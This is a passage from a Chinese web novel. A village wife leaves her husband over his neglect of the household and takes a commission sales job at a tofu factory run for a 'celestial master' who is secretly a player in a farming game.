毕竟现在婆婆作为仙师钦定的潜灵山管事,专门负责管理山上财务方面,往后发工资的话,也必须经由婆婆之手发下来。 大概订好了这些事的后续方向后,孙宁元先将明日要给赵金钩的那部分豆皮提前预留出来,至于剩下的,她便要想着法子的将这些作物售卖出去。 因天气还有些热,她鲜豆腐没做太多,生怕放坏了。 虽说那学堂之法也有教授做那臭豆腐一物,但她昨日才开始试验这臭豆腐之物,暂且还没能做成功,自然现在不敢多做鲜豆腐。 能久放的干豆皮和腐竹,孙宁元先着重生产这两样。 此刻,宣传窗口内,杨延则将那几张画册仔仔细细展开,贴在一可以推动的木板上,随后,将这木板推了出来。 “想必大伙都好奇这是何物,今日我便好好给大家说说这事。” 杨延笑眯眯地用手去指那图册,“这物是食谱,因孙管事想着大家买了豆腐,豆腐干后不会料理,所以画了一份简单的图,教大家料理此物,大家请看,这画着刀的便是要将豆腐切块,这拿着铁锅的,便是要炒熟这物” 因这教学和图册还是头一份,不少看热闹的人赶忙挤了过来,专心听杨延讲解这食谱。 而杨延则在看到聚集的人越来越多后,原先被埋没的那股教书热情,这会全上涌起来。 而孙宁元则是抽空出来,看看这宣传情况如何。 等到看到人群投入听讲后,她倒是不再继续观看,转身进了豆腐厂内继续研究臭豆腐。 这边杨延讲得口干舌燥,周围的围观村民则是各个心驰神往。 ——这听他讲的食谱,咋感觉这东西这么好吃呢! 原先尝过张氏售卖饭菜的人,这会拎着豆腐,心里焦急,在听懂了菜谱后,连忙回家,想着回去让妻子给料理一番豆腐。 至于那没买的,想省点钱的,这会都琢磨着要不要去买块尝尝。 ——主要是这豆腐能做得花样实在是太多了,家里人多,别的买不起,买块豆腐回去给家里人尝尝多好,这豆腐切开,炖煮入味后也和肉一样香。 这样一想,原先还犹豫的人,这会又连忙掉头去买豆腐。 斗坡村隔壁村落李四家。 李四拎着两块方正白嫩的豆腐回了家。 家中三孩子在听到门口动静后,连忙跑出来看,这会看到是爹回家了,各个兴奋得拍手直叫。 “爹回来了,爹爹买的是什么东西呀?” “不晓得哩,这东西摸起来好软,嘿嘿。” “小三,不许拿手摸,你们去后院拔点葱过来,娘给你们做了吃。” 李娘子将豆腐从三个孩子手中夺走,又给他们分配了任务,孩子们颠颠地跑去了后院。 她又顺手端来一杯水,让李四喝水。 “相公回家怎地还花钱买这物,怪费钱的。” 李四接过杯子,仰着脖子将这水一饮而尽,擦了擦嘴角的水迹后,李四粗声粗气道:“这豆腐最近卖得好,我想着爹娘这么大岁数,吃点新鲜玩意,特意买了两方孝敬爹娘,一会你将这豆腐炖煮了,给爹娘端过去。” 李娘子眼神顿时暗淡下来。 其实,豆腐这物,她偶尔听人说过,但他们家贫,往年日子过得就费劲,也就丈夫运气好,前些日子去那斗坡村得了个搬运工的工作,日薪还挺高,150文。 按道理这日子过得还算有盼头,可坏就坏在丈夫是个特别孝顺的,甚至不顾家中情况,也要去给父母尽孝。 这150文的日薪,除却公婆需要吃药花费的80文,其余吃喝拉撒再花费点,一文钱都要掰成两半花,其实日子过得也是很苦。 敷衍地应了一声,李娘子拿着这两方豆腐往厨房走去,路过大门口时,恰逢看到隔壁刘寡妇正兴高采烈地拎着两块豆腐回家。 她步伐放慢了几分,对方也看到了她,和善地打招呼。 “李娘子也买了豆腐?近些日子这豆腐确实卖得火,我刚好下工,给孩子们买点,一起尝尝。” 李娘子知晓刘寡妇前些日子去那斗坡村应聘了,眼下这般喜气洋洋,这是应聘上了? “妹子这是应聘上了?” 刘寡妇不好意思地挠了挠头,“没有,那竞争太激烈了,我去那斗坡村支了个摊位去卖点小零碎补贴家用。” 李娘子刚想多问几句,就看刘寡妇家的两个孩子窜了出来,嘴里喊着阿娘阿娘。 刘寡妇笑了笑,“我先回去给孩子做饭了,改天再聊吧。” 李娘子应了声,低头看着自己手里拎着的两方豆腐,心里不是个滋味。 自从她嫁了过来后,没过上一天好日子,公婆身子弱,病了都是她伺候着,丈夫打点零工,日子也就凑合着过了。 她不是没想过赚点钱补贴家用,但哪里有她能做的工作? 斗坡村还没出现厂子前,那会是真没工作能让妇人去做,但眼下看着有工作机会了,她又被公婆,孩子,家务事压得死死的,脱身不得。 李娘子叹了口气,麻木地按照丈夫先前说过的炖煮方法去炖煮豆腐。 等到香味扑鼻而来时,三个孩子欢笑着进来,想吃点刚做好的豆腐。 李娘子看着三双期待的眼睛,实在是说不出拒绝的话,这会拿出一双筷子,给孩子夹了块豆腐尝尝。 “吃吧吃吧,别吃多了,这是要给你阿公阿婆吃的。” 三个孩子有些失落,但能吃上豆腐,这会还是挺兴奋的。 一人一块,三个小萝卜头双眼亮晶晶的,咀嚼着口中滚烫的豆腐,呼喊着好吃。 “好吃好吃,娘做的就是好吃。” “娘你也吃一块!” 李娘子心底涌出一股暖意,刚想说她不吃,结果下一秒,大门就被丈夫推开。 等看清楚眼前状况后,李四气得鼻子都歪了。 “吃吃吃,一天就知道吃! 这豆腐是给你阿公阿婆买的,这是小孩能吃的?! 你娘平时就是这样教导你们三人的?目无尊长!” 第38章 和离 李娘子还在笑的脸瞬间僵硬起来,孩子们噤若寒蝉,惊恐地瞪大眼睛,不敢说话。 李四还在絮絮叨叨,主要内容围绕着自己如何不容易,他们又如何不该去随意吃这豆腐。 按照往常,李娘子也就忍着罢了,李四作为一个丈夫是不合格,但这世道便是如此,她一个女人,离了李四如何能做活? 到时候恐怕只能去给那些光棍缝补衣裳赚钱了,到时候她的脸面暂且不提,爹娘该如何自处? 但今日不知为何,刘寡妇那手中拎着的两方豆腐却一直在她脑内闪过。 李娘子头一次觉得迷茫,那刘寡妇都能去那斗坡村找活计,养活自己和孩子,还吃上了豆腐,她有丈夫,为何活得还不如寡妇。 再往前推论一番,李娘子很快便察觉到了不对劲的源头。 刘寡妇除了养孩子,还有时间去做活,而她除了管孩子以外,还要负责养鸡,做农活,给家中人织布,做饭,剩下的一点时间,也要去照顾公婆。 她的时间像是流水一般,稍不注意,就消失不见。 要是能和李四分开就好了,她自己去赚钱,养孩子,去吃一顿豆腐。 这个念头像火焰一样,扑腾一下窜起,又被她惶恐不安地压下来。 ——现在这个年头,和离和被休都是件抬不起头的事,虽说和离按道理来说不至于被人瞧不起,但听八卦的,谁会管你是和离还是被休呢? 到时候和离也能被说成被休,李娘子自认自己不敢去听那风言风语。 但从内心深处来看,她其实是厌恶李四的,讨厌他不管不顾,一切都以父母为先。 前些年打零工没赚到钱,夫妻两还将自己种地钱也搭进去不少,只为公婆身子能好些,这些日子赚点小钱,丈夫依旧这般行事,余钱也余不下多少,李娘子不免心灰意冷。 李娘子自认自己不是不孝顺的人,不然她便不会替李四照顾公婆,一照顾便是七八年。 期间多少次坚持不住的时候,她总是劝自己忍忍,她照顾好了家里,丈夫便能安心去外面做活。 再说了,谁家的女人不干这些事? 一忍便到现在,以前的忍是对生活的妥协,而现在呢? 以前那会只有男人出去才能找到活干,现在斗坡村据说出了位仙师,那地方女人也能干许多活计。 刘寡妇的院子内传来了爆炒豆腐的香味,李娘子微微动了动鼻子,分辨出来这是小葱炒豆腐的味道。 ——她不喜欢炖豆腐,太软烂了。 前些日子时,她看到村里手中宽敞一些的人家将那白嫩的豆腐切丁,然后用小葱炒了吃,里面还放了鸡蛋。 她喜欢吃炒着的豆腐,想过无数次那豆腐炒出来的口感,配着鸡蛋该是多么美妙。 可是丈夫说公婆上了岁数,炖煮入味又不需要牙口,她便只能无奈作罢。 毕竟不赚钱的人没资格发表意见。 胸口总是堵得慌,她也付出体力了,时刻也没闲着,自己怎么还过成了这样呢? 往事不断翻涌,李娘子呼吸忍不住加重,这会对着李四恼怒开口。 “孩子想吃他亲爹买的豆腐,何故被你这般折辱!今个若是我们吃不到,这豆腐我就算扔了,别人也休想吃!” 说着,李娘子端着陶盆,那张素日发黄的面庞,这会激动得染上几分红艳。 李四被吓了一跳。 李娘子素日温和,像是这般恼怒的时候,还是第一次。 但转念一想,妇人竟敢在他头上撒野,李四顿时气上心头。 “我买的豆腐,我爱让谁吃就让谁吃,我看谁敢动这锅豆腐!” 李四放下狠话,他觉得李娘子只是虚张声势,不敢真对这豆腐做些什么,而李娘子则是冷笑一声,松手将陶盆摔碎。 “咔嚓”。 陶盆四分五裂,里面滚烫的汤汁乱流,香味惹得家中的鸡扑腾着翅膀过来吃。 那两方豆腐落在地上,被赶来的鸡啄着吃了个精光。 李四又气又心疼,想赶走鸡,却差点被鸡给啄伤,这会气得直念叨着“造孽啊造孽。” 气得没法了,李四满院子去找棍子,想去揍这不听话的娘们时,李娘子先一步拉着孩子跑出门,哭天喊地。 “杀人了,杀人了,就因为我失手打碎这陶盆,我家相公便要活活打死我,大家可得替我做主啊!” 周围邻居呼啦一声都钻了出来,看着李四真拿着棍子,凶神恶煞模样,这会连忙跑出来劝他。 “那陶盆碎了就碎了,你何故动手?” “李娘子替你照顾爹娘七八年,又帮你操持家中,我们作为邻里都看在眼里,你怎能动手打人呢?” 劝架的大都是邻里,说的话也是有道理得很,李四若是再计较反而是太白眼狼。 李四气得直嘟囔,“就听她瞎说,分明我这婆娘是自己主动打碎了陶盆,还不让我爹娘吃一口炖豆腐!” 周围人群各个不相信,李娘子抱着孩子,弱弱道:“我若是不想让爹娘吃,何故会无怨无悔照顾爹娘七八年?不过是想着这豆腐实在是稀奇,我念着孩子们,想给孩子们分点,却没想到你竟是不肯,还要动手打人!” 周围人看李四的眼神越来越不对劲了,那眼神各个觉得李四这事办得实在是不对。 等到最后里正来了后,一顿劝阻,李四咬着牙,眼神带着不爽地瞪了几眼李娘子,草草答应这事算过去了。 李娘子被他这眼神看得浑身发毛,起初她还没太想好和离,这会被李四这眼神看得浑身发寒,和离的念头本还在飘摇,眼下不知怎地,她却更有勇气了。 李四不情不愿地拉着李娘子往家里走,却被李娘子打开手臂。 她那枯瘦的身躯忍不住地颤抖,却又在颤抖中拼凑出一句话。 “李四,我们和离吧。” 这话一出,如惊雷般炸开。 李四瞪大眼睛,始终没反应过来,而周围八卦的人群,这会也瞪大双眼,有和李娘子关系亲近的村中娘子,这会赶忙走上前去劝她。 “李娘子,你可别冲动呀,这好好的日子,怎么就要和离呀。” 生怕李娘子想不明白,这人抓着李娘子瘦弱的胳膊,使劲晃动她。 “那和离十里八乡没听过一人和离,能是什么好事,你日子过得好好的,李四又能赚钱,前几年的日子那么苦,你都熬下来了,现在眼看着日子越过越好了,你怎么还脑袋不清醒了?” 这娘子是隔壁的李响婶子,素日和李娘子关系很不错,她从以前就觉得李娘子这人实在是温和善良,两人有什么事都会互相添把手。 这会眼瞅着李娘子要走错路,李响娘子赶紧出来劝她想开点。 ——她们都是普通人家的女儿,嫁过来的时候嫁妆没多少,不像那大富大贵的人家,嫁妆足,就算和离了回家也有娘家养着护着,像她们这样的普通人,回去了娘家是没有位置的,等以后老了,更是孤苦伶仃,甚至死了后,也是不允许被入祖坟的。 李娘子眼睛酸涩,李响娘子说的话,是她原先想过多少次,又被这理由给打退了想法。 但今日,她不知道自己哪来的勇气,先推开李响娘子,随即进了屋内,将自己仅剩一小半的嫁妆全部带走。 李四看得清楚,着急去拦她,却见李娘子轻飘飘地闪过,站定在村里里正面前。 “里正,您今日既在,便为我做个见证,我素日孝敬公婆,操持家务,并无对不起李四之事,今日和离,是我们之间情感不和,按照当朝律法,我能带走嫁妆,我和李四成亲数年,嫁妆因公婆生病花费不少,这一部分钱我需要他给我还回来,孩子的话,我要带走我家小女儿。” 她目前无经济来源,三个孩子很难全部带走,算下来,最有概率带走的便是小女儿。 谁都料想不到,平时老实肯干的李娘子竟然会做出今日这般让人瞠目结舌之事。 当下和离的实在是太少了,除了丈夫所做之事实在恶劣,不然很少有人提出和离。 里正看着这个素日被称为老好人的李娘子,突然有些说不出劝慰的话来。 ——李娘子想要和离的原因,他大概能知道,估计是因为李四太过于愚孝,那李四爹娘真用他的钱去治病了? 非也,那钱被他们藏起来,贴补小儿子了。 这事,李娘子应该知道,但李四就不知道了么? 他看未必。 里正看了几眼李娘子枯瘦的模样,三个孩子也一副瘦猴样,顿时便明白了这个老实巴交女人的想法。 “李娘子,你得写下一封和离书,然后送到本朝官府,等官府派人确定实情,双方都无过错符合和离条件后,便算是正式和离了。” 里正提醒道,李娘子有些怔住,一时半会,她还真找不到识字的人替自己写和离书。 而这时,却有熟悉的声音传来。 “李娘子,斗坡村有个读书认字的先生,你若需要的话,我可以带你过去。” 大伙都去看,就看到刘寡妇静静地站在门口,看着这出闹剧。 李四气得冒烟,“刘寡妇,我家事关你啥事,你出来凑什么热闹!” 刘寡妇嫌弃地看了他一眼,冷冰冰道:“别和我说话,你个废物。 你算不算个男人,出去赚钱养家,养到了哪里?一个大老爷们,看看你自家孩子,还没我一个人养得好。” 这会有人反应过来了,眼神止不住地在李四家孩子和刘寡妇孩子身上打转。 随即疑惑。 ——刘寡妇这话竟然说的是真的,可李四这些天赚的钱可不少啊?! 第39章 谋生 李四被刘寡妇这番话说得面色涨红,想动手吧,又不敢,本朝法律打伤外人可是要坐牢赔钱的。 想反驳吧,眼神偷摸瞧瞧自家孩子和刘寡妇家孩子,却见对方孩子原先瘦弱的身子似乎壮实了几分,原先那张蜡黄的小脸,此刻竟然变得白净了不少,身上换了身几乎看不到补丁的新衣服,看上去精神得很。 再看看自己的三个孩子,哪个都是又瘦又黄,身上衣服也破破烂烂的。 李四无从反驳,脸上不太能挂得住。 看着家中孩子模样,他忍不住暗叹李娘子不会养家。 ——他可是日薪有150文的!给爹娘送过去80文,还有70文能留下,何故家里会成了如今这模样?! 想想李娘子一介弱女,离开他如何能做活,等她没钱了,自然就该哭着喊着要回来了求和了。 李四盯着妻子的背影,忍不住冷哼一声,看着人多,他没再说话,反而粗暴地将剩下的两个男孩拉着塞进院子里,合上了大门。 两个孩子还不太明白发生了什么,但恐惧却如同杂草般滋生。 “爹,你别赶走娘!” “我要我娘呜呜呜” 李四粗暴地将两个孩子扯进来,几乎暴怒道:“住口,你娘不要你们了,都给我乖乖待着。” 他声音很大,门外的李娘子和周围邻居都听见了。 ——这李四脾气这么暴的么?还有这心是不是也太狠了些,多年的夫妻了,李四竟然劝都不劝李娘子,转而关上了大门,这让围观的众人心中对他有些不太满意。 尤其是原先和李娘子交好的妇人们,此刻也脸色不太好。 ——李娘子待人和善,又孝敬公婆,连这样好的女人都没能落了个好,她们又该当如何自处? 看到李四那般决绝地关上大门,孩子哭得稀里哗啦,李娘子心里疼得和刀绞一样。 七八年的付出,对李四来说,毫无意义,自己的孩子她也无法带走,属实让李娘子悲痛不已。 但她眼下也没办法,只能带着女儿先离开。 对着刘寡妇的帮助,她忍不住眼神中透露出感激。 刘寡妇看了眼周围人,低声喊着让她跟上来。 李娘子则亦步亦趋,握紧女儿的小手,紧跟着在刘寡妇身后,几人很快来到了刘寡妇家中。 将大门一合,刘寡妇这才找机会开口。 “李娘子,你今日真的和以前不一样了,我看着你那丈夫就来气,看看他给你和孩子都弄成了啥样。 你等着,吃口东西先。” 刘寡妇从屋内端出来一盘炒豆腐,已经有些凉了,且一看就是剩下来的饭菜。 这会闹饥荒,村里人哪里有剩菜剩饭不适合招待人的念头,都觉得这是家中顶好的,有门面的东西。 李娘子推辞一番,不好意思接受,却被刘寡妇按下肩膀,坐在凳子上。 “何故和我这番客气,前几年若不是我时刻得了你那些菜,我和孩子恐怕早就饿死了。” 刘寡妇刚死了孩子那些日子,整个人憔悴不已,人也没精力去外面赚钱,再加上当时世道艰难,带着两个孩子的女人更是没活路。 李娘子心善,实在看不过眼,将家中多余的蔬菜挑了一些送给她吃。 这一送,就是好几个月,陆陆续续的,直到丈夫李四发现后冷嘲热讽了几句,李娘子无奈,只能给对方送过去最后一篮子蔬菜,就算结束这事。 李娘子没想到刘寡妇竟然还记得原先这事,这会不由地苦笑。 “不过是一些蔬菜而已,在咱们乡下也不值钱。” 刘寡妇拉过她的手,神色动容。 “再不值钱,也让我们活了下来,你现带着孩子不好回家,不如先住在我家中,等明日,我带你去那斗坡村,看看能找什么工作去做。” 李娘子没想到原先她心善帮过的刘寡妇,竟愿意在她最困难之际帮助她,她迟疑道:“这太麻烦你了” 话还没说完,就看到刘寡妇早带着孩子进去给她收拾睡觉地方了。 眼瞅三人干得火热,李娘子也不好意思再开口拒绝,再加上她此刻还真没个地方能去,于是便暂且叨扰刘寡妇了。 等到晚上睡觉时,李娘子却睡不安稳。 梦里一会是李四狞笑着说她是废物,出去了一文钱都赚不到,以后也别想回家。 一会又是爹娘满脸皱纹,看着她直叹气,说她丢人现眼,这十里八村的哪有主动提和离的。 一会又有认识的不认识的在她背后指指点点,说她事多,说李四又没真打人,她倒是因为感情不和就要和离,这可是闻所未闻。 还梦到她最后孤苦伶仃,死得凄惨,死后看着自己的尸首无地安置。 “李娘子,醒醒。” 李娘子猛地起身,脑门上冷汗直流,抬头看到的便是刘寡妇关切的面庞。 “这是被魇住了?” 李娘子不由自主回想到昨晚的噩梦,她赶紧摇摇头,扯出个笑。 “做了个噩梦,不过现在好多了,我们这便出发吧?” 她不好意思待在别人家吃白食,这会迫不及待地想出去看看,自己能找到什么赚钱的法子没。 而刘寡妇则是拿出烤番薯递过去。 “家里没啥好吃的,咱们早上便吃烤番薯吧,等下午我下工回来着,给买点好的咱们吃点。” 李娘子忙阻止,“不了,哪能让你破费,有烤番薯吃就很好了。” 她这会才注意到,这烤番薯还挺热,应该是现做的? 边想,就看到刘寡妇从屋内推出来个乌漆嘛黑的黑箱子。 这黑箱子竟然还是带着四个轱辘的,这会被她推着,往前走。 李娘子想去帮忙推车,被刘寡妇喊住。 “别沾手,弄脏了你衣裳,一会你去招聘肯定是不成的。李娘子,你帮我拎一下番薯就成。” 顺着刘寡妇的视线,李娘子顺利找到了那用布袋子装着的番薯。 她赶忙拎起袋子,将番薯放进背篓里背着。 临走前,刘寡妇喊着让家中孩子照顾好弟弟妹妹,两人这才急匆匆赶往斗坡村。 虽说是隔壁村子,但走路也走了有半个时辰。 等到了目的地后,刘寡妇在村口处找到一处好位置,将黑箱子支起来,刚想去叫李娘子放下背篓吧,就看到李娘子一脸呆滞地看着村子。 ——村中人来人往,甚是热闹,这村口做生意的,竟然有这么多? 卖吃食的,卖旧衣的,卖棉花的,卖酱料调味的,甚至还有卖胭脂水粉的。 斗坡村俨然成了最为热闹的新集市。 空气中传来各种各样香味,有热气腾腾的豆腐味,酸香麻辣的酸辣粉,有粟米蒸腾后的味道,也有烤得流油的烤番薯味。 她眼神穿梭其中,不住地打量着斗坡村众人。 本以为做生意的妇人会很少,但这匆忙一扫,竟然看到好几个妇人都在摆摊售卖着小零碎。 李娘子是被刘寡妇晃了几下后才反应过来的。 将背篓卸下来后,她和刘寡妇暂时分开,尝试着去那豆腐厂,亦或是地瓜厂应聘一番。 一路上,李娘子沿着主路一路往下走,沿途叫卖声不断,各种新奇事物层出不穷。 大都是吃食摊子,这些小商贩们叫喊着卖东西,不少外地来的商户则纷纷被吸引过去,早中晚饭菜便在这里解决了。 李娘子不敢停下脚步,只能说用闲暇时间去看这些摊位售卖何物。 一分神,倒是差点撞上迎面而来的挑豆腐货郎。 两人都往后踉跄几步,好在是豆腐没撒。 那货郎有些不太高兴地掠过她,还留下一句让她看着点走路。 李娘子呆愣愣地看着那被货郎摆得整齐的豆腐,许久才回神。 等她来到厂子后,不出意料,两所厂子目前暂时都不需要工人。 无奈之下,李娘子只能从厂子内退出来。 ——看来招聘是失败了。 李娘子觉得还好,并未觉得太过于难受,毕竟去厂子干活这事实在是太难得,她此行过来主要也是想看看能不能找到做生意的机会,看做个什么本钱小的买卖最好。 正踌躇之余,李娘子察觉到那豆腐厂售卖豆腐的窗口,此刻排了不少队。 一打眼看过去,李娘子便发现这些人竟然大部分都是挑着货的货郎。 等过去细细一问,她这才打听到,原来这些货郎都是来这里买货的。 ——想必是货郎去别的地方加点价售卖豆腐。 抬头看去,鲜豆腐一块是2文钱,李娘子注意到这些货郎卖出去的价格大都在三文五厘一块。 这样算下来,一块豆腐赚得不少呢! 李娘子琢磨到,自己或许也能挑着豆腐去卖?但这豆腐,卖给谁好些? 再加上她是妇人,要是路上有人抢东西的话,她又该如何处理? 正纠结犹豫之际,便听那窗口处有妇人开口喊她。 “这位娘子,你也想当货郎?” 李娘子还没来得及开口,就听那人继续道。 “货郎要起得早,还要有力气,你作为女子,清早起来上路难免危险。 相比之下,我比较推荐你试试豆腐新品兜售员这个工作,虽说得的钱少些,但安全。 兜售豆腐?新品? 似乎是看出来李娘子的疑惑,窗口那妇人便开口解释。 “我们目前除了豆腐以外,还研发了不少新产品,但需要宣传,这些产品才能卖出去。 不过这工作底薪很低,每日只有十文,剩下的全看你自己本事,若售卖得多,那提成便高,若售卖得少,便只能拿十文了。 且还有规定,若是一个月内,你售卖的单数未超过20单,那你就要被辞退了。” 第40章 鸡肋 这个活计其实并不好招人,毕竟看着就得是成年人,且还是相貌端正,说话流利的,并非是个人就能过来应聘工作,且因为底薪实在是太少,所以这活计应聘的人很少。 再加上在本村卖力气的话,日薪便是100文,相比之下,大家肯定更愿意去卖力气,而非做这劳什子兜售员。 窗口妇人也是知晓这招聘的难度的,一直到现在,这兜售员她一共也就找了两个,而这个两个人,在第二个月的时候也均被辞退。 话说这兜售员工作还是仙师主动找孙宁元下发的任务。 据说当时仙师给定的日薪价格便是日10文,但相应的,提成价格足以弥补底薪低这缺点。 李娘子琢磨开来。 ——她眼下手里的钱不多,之后不能一直白住在人刘寡妇家中,必定要缴纳一部分住宿的租金,以及日常生活需要的食费。 这么一算的话,手里的钱想再开个小买卖就有些难了。 若是非要做买卖的话,想必只有做烤番薯这类投入小的买卖,但想到刘寡妇的行当便是烤番薯,且斗坡村卖烤番薯的商贩也不少,市场做这份生意的人已经够多了,她何必非要做烤番薯生意,惹得刘寡妇心中有芥蒂呢? 思来想去,或许这份工作可以当做一个过渡,等手里有些钱了,她或许能再用这笔钱考虑去干些其他的买卖。 想明白这些事后,李娘子便开口询问。 “那我想问问,这提成是如何计算的呢?” 只见那窗口妇人笑着道:“你别看底薪低,但加上提成还是不错的。 眼下我们推广的是酱料类,豆豉酱和臭豆腐,腐乳,这三样产品体积小,推广携带都方便。 正常的话,一斤豆豉酱的售卖价格为20文,腐乳,臭豆腐是按照一方卖的,卖6文。 若你成功推广出去一斤豆豉酱,那你能从中获得2文的推广费,腐乳,臭豆腐均为1文。 你可以考虑考虑。” 李娘子不由地盘算开来。 ——若她一天能卖个几斤,再卖个几方豆腐,这样算下来也能有个二十多文,虽说不多,但也能应急用。 于是李娘子甚至没考虑,径直答应下来。 而窗口那妇人则将她带进去,先是在一本册子上登记后,这才给她发放了一篮子需要兜售的东西。 这三样东西都是用陶罐存放着,妇人开口嘱咐她。 “这三样东西是有保质期的,为十日,你在十日内若是没卖出去,必须要回来更换新的产品,千万不要让客人闹了肚子。” 李娘子第一回做事,这会不由有些紧张。 听到对方的耐心嘱咐后,连忙点头应下。 双手死死地抓紧篮子,生怕自己手松打碎了这些要推广售卖的东西。 眼看着李娘子走远后,孙宁元便从内室慢慢晃了出来,询问窗口妇人。 “她接了这任务?” 妇人连忙道:“孙总管,她接了。” 孙宁元不免沉思。 ——先前仙师传音入耳,要求她开设这个岗位时,说实话,孙宁元是不太理解的,毕竟这三样东西,无论如何,都不像是这么着急需要主动推广的模样,而仙师给出的工资也很耐人寻味。 若从她的角度看来,这工作底薪很低,提成也不算高,总结下来就是两个字,鸡肋。 但仙师和普通人不一样,那位真的会做这般鸡肋的事? 回想到那位先前提前布局做出的种种大事,孙宁元有种感觉,她定是在某处忽略了这个工作所能带来的好处。 连着辞退走两人,孙宁元的这份疑惑,终于在见到李娘子后化解。 先前李娘子主动上厂子去找她,询问厂子是否还招聘人手,经过了解后,孙宁元这才得知,这李娘子竟然在昨日和丈夫和离了! 她不好询问原因,倒是李娘子苦笑着解释了几句。 大意涵盖下来,就是丈夫几乎不给家中留钱,多余的钱全部给了父母。 李娘子忍了七八年,实在是受不了,这才带着一个女儿,和离了。 孙宁元在听到时,始终不敢相信,眼前这个看起来老实温顺的女人,竟然会做出这般令人惊叹的事来。 她有生之年,倒是听到过一次和离,但那次是因为女方经常遭受男方暴打,实在受不了了,这才提出和离。 至于像李娘子这般,因为大众所认为的小事和离的,还是第一次见。 期间,她大概了解到李娘子的想法,想先找个工作,不想和原先的丈夫在一起了。 也是因为李娘子这番遭遇,孙宁元特意关注着对方,以至于让窗口妇人找机会向对方伸出橄榄枝。 而就在她邀请李娘子成为新品兜售员时,孙宁元总算是悟出来片刻仙师的意图。 ——这活计无论怎么看都是一副没什么大用的样子,但这样的活计,对李娘子这样和离后的妇人,却是一个足以应急的工作。 仙师莫不是早就想到了这一层? 孙宁元回想到李娘子和离的理由,不知怎地,胸口涌出一股惊叹。 原先和离的话,女方是走投无路才会顶着俗世的眼光去谈和离,而李娘子的出现打破了这一情况。 相比于先前女方和离所需要的条件,李娘子这和离理由可谓是轻了许多。 孙宁元焦躁地坐在椅子上,脑海内不断思索着仙师真正的意图。 ——结合低廉的工作,再想想那恰好出现的李娘子,突然间,灵感闪现。 孙宁元忍不住呼吸急促,瞪大双眼。 仙师难道是在降低妇人和离所需要的条件? 当下妇人不敢和离,主要也是以为无法获得工作,但仙师提供的工作打破了这一顾忌,工资虽说不上高,但绝对够活下去,这样无形中,会给那些犹豫害怕的妇人提供一层心里安慰。 等到靠这工作攒下本金后,这些妇人还可以另谋出路,没必要因为恐惧未来而吊死在夫家。 但,仙师为何要做出支持妇人和离之事? 按照那多方话本子上写的,神仙难道不是更是应该坚信,宁拆十座庙,不毁一桩婚这句话? 孙宁元蹙眉苦思,随后在想起仙师先前传递过来的密语后恍然大悟。 ——对了,仙师本就和其余神仙不同。 别的神仙需要庙宇供奉,而仙师却主动拒绝了为自身塑像供奉,反而劝他们要勤奋肯干。 在遇到和离这般事时,仙师更是用实际行动表明了他的立场。 ——妇人不该被逼迫着接受一切,她们理应有自己的想法,且她们的想法均应该有落地发芽的土地。 何谓土地,便是在妇人主动挣扎后,有能供她们缓冲的工作,来用实际行动让她们度过最艰难的时刻。 再想到婆婆,自己,以及家中的妯娌被仙师选中做事,孙宁元不免心中滚烫。 她再次重新认识了仙师。 话说先前,姜定在点开孙宁元的对话框中,看着多出来的一个【开设】发呆。 【开设】? 这什么意思? 玩家的共同之处便是作死,姜定也不能免俗,他犹豫良久,还是遵从内心,选择这个按钮按了下去。 【是否要开设新品兜售员职位?】 新品,兜售? 话说新品是啥啊! 姜定很想吐槽,但这情况他必须选择要开设啊! 选择开设后,游戏界面显示让他制定兜售员的薪资。 本已被游戏pua成功的姜定手不受控制地想直接点击100文,结果却手抖少按了一个0。 等到他反应过来的时候,基本薪资显示为10文的界面正完好无损的展开在他眼前。 先前还觉得自己手抖好似老年人的姜定,此刻脑内缓缓地弹出一条疑问? 什么鬼,怎么这里又可以设置比100文低的薪资了? 姜定看着这新鲜出炉的10文,想试验的心又开始蠢蠢欲动。 刚想试试这薪资还能不能继续降低时,就见那薪资后面标记了一行很小的字。 定睛一看,原来写的是,此薪资为最低薪资。 姜定有些可惜地叹气,还没叹息完,游戏又提醒他需要设置提成比例。 “提成比例?” 姜定看着眼前出现的界面,眉头紧蹙。 “最小提成比例为5%?” 姜定揉了揉眼睛,再看兜售员这个职业时,他突然觉得自己先前去找孙宁元绝对是个错误。 非要手贱,非要去点那个【开设】按钮,这下好了,兜售员这个职业恐怕要像鬼一样死死地缠住他了。 一想到要给出去的提成,姜定毫无缘由的一阵心痛。 但无奈,游戏还要继续,姜定仔细看了看这个新岗位,突然觉得这岗位还是蛮难拿到提成的,毕竟在他看来,这个岗位也是蛮鸡肋的。 得需要卖出去多少才能获得高提成啊。 他随即又去看山上前些日子种植下去的小麦。 等到了农田时,姜定很快便发现农田不少人正在弯腰拿着镰刀收割麦子。 姜定心下一动 这是熟了? 等到一分钟过后,果然,游戏提醒跳了出来。 【你的麦田已成熟,恭喜你获得超级灵麦*2,大麦*334,棉花种子*39。】 超级灵麦?! 姜定心神一动,连忙去查看这超级灵麦的产量。 【超级灵麦:拥有极其强大的抗旱抗涝能力,最理想情况下,一亩地产量为1000斤,植株一年两熟。】 既是一年两熟,亩产又比山下高出许多,姜定琢磨着这超级灵麦出现的时机确实好。 只不过,作为种子的话,这灵麦数量显然太少,姜定立即又去点击收割的农人,让他们再次将灵麦种子种植下去。 因灵麦种子数量较少,空闲出来的农田则是全被姜定再次种上了大麦,期待着能多爆出几次超级灵麦。《 》 40-50 第41章 仙 而农田里的农人,则在接收到姜定的指令后,各个见怪不怪地按照他的意思栽种。 ——第一次仙师让他们这般做时,一行人都觉得不太行,毕竟哪有农田种植完作物后不需要重新养肥就继续种植呢。 本以为种植后,就算是好好打理,之后也不会有好的收获,但看着几日后,再次丰茂的农田,一行人顿觉自己多年来的种地经验这会被冲刷得什么都不剩。 在经历多了这样的事后,这些人已经学会了闭眼接受差异。 ——应该是因为仙师法术的缘故吧,反正这仙家的灵土,是和他们凡人的不一样哈。 倒是其中一人颇有些神秘地和身旁人互相交耳。 “你们还记得先前咱们收割的那小块地么?” 这话一出,农人脑海里立即回忆起先前那一小块地上,麦穗是前所未有的饱满,且那麦穗晃动间,竟还散发出悠悠白光。 这会迟疑道:“看见了,那恐怕不是凡物,咱们素日给仙师做活,嘴巴可要闭紧点才对。” 那麦穗指不定是什么仙家灵物,他们若是将那物碰了磕了的,即便是仙师这般的好神仙,难道就不会恼火? 轻者不让他们继续干活,严重一点的,或许这条命在不在还两说。 那率先开口的农人连忙闭嘴。 ——仙师目前看着是个好神仙,但前提是他们不要触碰到对方的逆鳞 莫名其妙有了逆鳞的姜定:??? 山上各区域秩序生产,工人们日出而作日落而息,素日里还能吃好喝好,就连住宿区域也让人无比幸福。 而在山下,赵金构此刻则是着急得嘴角直冒泡。 